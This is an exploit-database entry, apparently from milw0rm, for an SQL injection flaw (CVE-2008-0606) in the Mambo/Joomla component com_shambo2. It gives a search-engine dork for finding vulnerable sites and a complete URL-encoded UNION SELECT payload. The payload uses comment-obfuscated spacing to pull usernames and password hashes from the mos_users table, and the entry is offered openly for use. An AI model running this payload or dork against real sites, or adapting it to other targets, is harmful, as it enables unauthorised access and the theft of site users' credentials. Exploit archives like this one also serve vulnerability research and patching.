Mambo Component Shambo2 - 'itemID' SQL Injection

Author: S@BUN
type: webapps
platform: php
port: 
date_added: 2008-02-03 
date_updated: 2016-11-09 
verified: 1 
codes: OSVDB-41201;CVE-2008-0606 
tags: 
aliases:  
screenshot_url:  
application_url: 

#########################################################################
#
# joomla SQL Injection(com_shambo2)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 1 : allinurl :"com_shambo2"
#
##########################################################################
EXPLOIT :

index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users


##########################################################################
#  S@BUN                 www.hackturkiye.com                      S@BUN
##########################################################################
# S@BUN                      GOOD LUCKY                             S@BUN
##########################################################################

# milw0rm.com [2008-02-04]